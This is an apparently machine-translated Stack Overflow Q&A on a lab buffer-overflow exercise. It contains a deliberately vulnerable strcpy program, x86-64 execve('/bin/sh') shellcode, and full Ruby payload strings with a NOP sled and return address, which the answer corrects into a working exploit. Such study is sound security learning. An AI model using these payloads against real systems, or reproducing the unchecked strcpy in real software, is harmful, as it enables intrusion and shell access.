【问题标题】:Syscall inside shellcode won't runshellcode中的系统调用不会运行
【发布时间】:2015-07-28 00:07:59
【问题描述】:

注意:我已经在 Stackoverflow 中用葡萄牙语问过这个问题:https://pt.stackoverflow.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa。但这似乎是一个非常难的问题,所以这个问题只是葡萄牙语的问题的翻译。

我正在研究信息安全并进行一些实验,试图利用缓冲区溢出的经典案例。

我已成功创建 shellcode,将其注入易受攻击的程序并执行。我的问题是对execve() 的系统调用以获取外壳不起作用。

更多细节:

这是易受攻击的程序的代码(在 Ubuntu 15.04 x88-64 中编译,带有以下 gcc 标志:“-fno-stack-protector -z execstack -g”并关闭了 ASLR):

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

这是一个小型汇编程序,它生成一个外壳然后退出。 请注意,此代码将独立运行。这就是:如果我单独组装、链接和运行这段代码,它将起作用。

global _start

section .text
_start:
    jmp short push_shell
starter:
    pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

这是上述程序的 objdump -d -M intel 的输出,其中 shellcode 是从中提取的(注意:输出的语言是葡萄牙语):

spawn_shell.o: formato do arquivo elf64-x86-64

Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

此命令将是有效负载,它注入 shellcode 以及所需的 nop sleed 和将覆盖原始返回地址的返回地址:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

到目前为止,我已经非常小心地使用注入的 shellcode 调试了我的程序,注意 RIP 寄存器查看执行错误的地方。我发现:

  • 返回地址被正确覆盖,执行跳转到我的shellcode。
  • 在我的汇编程序的“e:”行之前执行正常,在该行发生对execve() 的系统调用。
  • 系统调用根本不起作用,即使正确设置了寄存器来执行系统调用。奇怪的是,在这一行之后,RAX 和 RCX 寄存器位都被设置了。

结果是执行进入无条件跳转,再次推送 shell 的地址并开始无限循环,直到程序在 SEGFAULT 中崩溃。

这是主要问题:系统调用不起作用。

一些注意事项:

  • 有人会说我的“/bin/sh”字符串需要以空值结尾。好吧,这似乎没有必要,nasm 似乎隐式放置了一个空字节,并且我的汇编程序可以正常工作,正如我所说的。
  • 记住它是 64 位 shellcode。
  • 此 shellcode 在以下代码中工作:

    char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
    
    int main() {
        void (*func)();
        func = (void (*)()) shellcode;
        (void)(func)();
    }
    

我的 shellcode 有什么问题?

编辑 1:

感谢Jester的回答,第一个问题解决了。另外,我发现 shellcode 不需要单独工作。 shellcode 的新汇编代码是:

spawn_shell: formato do arquivo elf64-x86-64


Desmontagem da seção .text:

0000000000400080 <_start>:
  400080:   eb 1e                   jmp    4000a0 <push_shell>

0000000000400082 <starter>:
  400082:   5f                      pop    %rdi
  400083:   48 31 c0                xor    %rax,%rax
  400086:   88 47 07                mov    %al,0x7(%rdi)
  400089:   b0 3b                   mov    $0x3b,%al
  40008b:   48 31 f6                xor    %rsi,%rsi
  40008e:   48 31 d2                xor    %rdx,%rdx
  400091:   48 31 c9                xor    %rcx,%rcx
  400094:   0f 05                   syscall 
  400096:   48 31 c0                xor    %rax,%rax
  400099:   48 31 ff                xor    %rdi,%rdi
  40009c:   b0 3c                   mov    $0x3c,%al
  40009e:   0f 05                   syscall 

00000000004000a0 <push_shell>:
  4000a0:   e8 dd ff ff ff          callq  400082 <starter>
  4000a5:   2f                      (bad)  
  4000a6:   62                      (bad)  
  4000a7:   69                      .byte 0x69
  4000a8:   6e                      outsb  %ds:(%rsi),(%dx)
  4000a9:   2f                      (bad)  
  4000aa:   73 68                   jae    400114 <push_shell+0x74>

如果我组装和链接它,它不会工作,但如果将它作为有效负载注入另一个程序,它会!为什么?因为如果我单独运行这个程序,它会尝试终止一个已经 NULL 终止的字符串“/bin/sh”。操作系统似乎甚至对汇编程序进行了初始设置。但是,如果我注入 shellcode 等等,情况就不是这样了:我的系统调用没有成功的真正原因是“/bin/sh”字符串在运行时不是 NULL 终止的,但它作为一个独立程序工作,因为在这种情况下,它是 NULL 终止的。

因此,您的 shellcode 作为独立程序运行正常并不能证明它可以工作。

利用成功了……至少在 GDB 中是这样。现在我遇到了一个新问题:漏洞利用在 GDB 内部有效,但不在 GDB 外部。

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof    bof2.c  bof3_env      bof3_new_shellcode.txt bof3_shellcode.txt  get_shell     shellcode_exit    shellcode_hello.c  shellcode_shell2
bof.c  bof3    bof3_env.c    bof3_non_dbg        func_stack      get_shell.c      shellcode_exit.c  shellcode_shell    shellcode_shell2.c
bof2   bof3.c  bof3_gdb_env  bof3_run_env        func_stack.c    shellcode_bof.c  shellcode_hello   shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb) 

在外面:

$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)

我马上搜索了一下,发现了这个问题:Buffer overflow works in gdb but not without it

最初我认为这只是取消设置两个环境变量并发现一个新的返回地址的问题,但是取消设置两个变量并没有产生最小的区别:

$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$ 

那么现在,这是第二个问题:为什么漏洞利用在 GDB 内部起作用,而在 GDB 外部却不起作用?

【问题讨论】:

  • 猜测 strcpy 只复制到第一个 0 字节。因此,如果漏洞利用包含任何 0,那么您只是在复制第一个 0 之前的漏洞利用部分。
  • @John3136 如您所见,它没有。

标签: c shell security assembly buffer-overflow


【解决方案1】:

问题是mov al,0x3b。您忘记将最高位归零,因此如果它们不是零,您将不会执行execve 系统调用,而是执行其他操作。简单的调试应该已经向您指出了这一点。解决方案很简单:只需在此之前插入xor eax, eax。此外,由于您将返回地址附加到您的漏洞利用中,因此该字符串将不再以零结尾。它也很容易修复,只需在您清除 eax 之后,在运行时使用 mov [rdi + 7], al 将零存储在那里。

完整的漏洞利用可能如下所示:

ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

开头部分对应:

    jmp short push_shell
starter:
    pop rdi
    xor eax, eax
    mov [rdi + 7], al
    mov al, 59

请注意,由于代码大小的变化,jmp 和末尾的 call 的偏移量也必须更改,nop 指令的数量也必须更改。

上面的代码(根据我的系统调整了返回地址)在这里可以正常工作。

【讨论】:

  • 好吧,好吧...你的 shellcode 工作了,我重新制作了我的 shellcode 让它工作。然而,一个更奇怪的问题出现了:该漏洞利用在 GDB 中工作,但不能作为独立程序与程序一起工作。 =D
  • 独立时的内存布局略有不同。如果您使用正确的地址,它也可以独立运行。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2019-12-08
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-03-05
相关资源
最近更新 更多